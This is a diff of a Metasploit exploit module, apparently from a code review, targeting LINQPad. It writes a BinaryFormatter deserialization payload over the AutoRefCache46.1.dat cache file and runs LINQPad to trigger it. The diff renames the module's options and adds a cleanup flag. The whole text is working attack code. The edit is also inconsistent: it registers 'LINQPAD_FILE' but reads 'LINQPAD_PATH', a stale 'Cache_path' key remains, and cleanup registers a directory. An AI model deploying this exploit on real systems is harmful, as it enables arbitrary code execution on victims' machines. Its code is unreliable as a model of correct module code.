@@ -48,21 +48,22 @@ def initialize(info = {})
48
48
)
49
49
)
50
50
register_options ( [
51
- OptString . new ( 'LINQPad_path' , [ true , "Path to LINQPad executable on target's machine" , "C:\U sers\m s\A ppData\L ocal\L INQPad" ] ) ,
52
- OptString . new ( 'Cache_path' , [ true , 'Path to cache file directory containing deserialized data' ] )
51
+ OptString . new ( 'LINQPAD_FILE' , [ true , 'Path to LINQPad executable on target\'s machine' ] ) ,
52
+ OptString . new ( 'CACHE_PATH' , [ true , 'Path to cache file directory containing deserialized data' ] ) ,
53
+ OptBool . new ( 'CLEANUP' , [ false , 'Restore original cache file when exploit finish' ] )
53
54
] )
54
55
end
55
56
56
57
# Simplify pulling the writable directory variable
57
58
58
59
def check
59
- if datastore [ 'LINQPad_path ' ] . blank? || !file? ( datastore [ 'LINQPad_path ' ] )
60
+ if datastore [ 'LINQPAD_PATH ' ] . blank? || !file? ( datastore [ 'LINQPAD_PATH ' ] )
60
61
return Exploit ::CheckCode ::Unknown ( 'LINQPad binary not specified or doesn\'t exist' )
61
- elsif datastore [ 'Cache_path ' ] . blank? || !directory? ( datastore [ 'Cache_path' ] ) || !file? ( datastore [ 'cache_path ' ] + '/autorefcache46.1.dat' )
62
+ elsif datastore [ 'CACHE_PATH ' ] . blank? || !directory? ( datastore [ 'Cache_path' ] ) || !file? ( datastore [ 'CACHE_PATH ' ] + '/autorefcache46.1.dat' )
62
63
return Exploit ::CheckCode ::Unknown ( 'Cache directory doesn\'t exist' )
63
- elsif !file? ( datastore [ 'cache_path ' ] + '/autorefcache46.1.dat' )
64
+ elsif !file? ( datastore [ 'CACHE_PATH ' ] + '/autorefcache46.1.dat' )
64
65
return Exploit ::CheckCode ::Unknown ( 'Cannot find cache file' )
65
- elsif file? ( datastore [ 'cache_path ' ] + '/autorefcache46.2.dat' )
66
+ elsif file? ( datastore [ 'CACHE_PATH ' ] + '/autorefcache46.2.dat' )
66
67
return Exploit ::CheckCode ::Safe ( 'Contains not vulnerable version of LINQPad' )
67
68
else
68
69
return Exploit ::CheckCode ::Vulnerable ( 'LINPad and vulnerable cache file present, target possibly exploitable' )
@@ -77,9 +78,13 @@ def exploit
77
78
formatter : :BinaryFormatter
78
79
)
79
80
# try to overwrite cache file
80
- fail_with ( Failure ::PayloadFailed , 'Writing payload to cache file failed' ) unless write_file ( datastore [ 'Cache_path ' ] + '/AutoRefCache46.1.dat' , dotnet_payload )
81
+ fail_with ( Failure ::PayloadFailed , 'Writing payload to cache file failed' ) unless write_file ( datastore [ 'CACHE_PATH ' ] + '/AutoRefCache46.1.dat' , dotnet_payload )
81
82
82
83
# run LINQPad and trigger deserialization
83
- fail_with ( Failure ::PayloadFailed , 'Running LINQPad failed' ) unless cmd_exec ( datastore [ 'LINQPad_path' ] )
84
+ fail_with ( Failure ::PayloadFailed , 'Running LINQPad failed' ) unless cmd_exec ( datastore [ 'LINQPAD_PATH' ] )
85
+
86
+ # add cleanup option
87
+ register_file_for_cleanup ( datastore [ 'CACHE_PATH' ] ) if datastore [ 'CLEANUP' ]
88
+
84
89
end
85
90
end
0 commit comments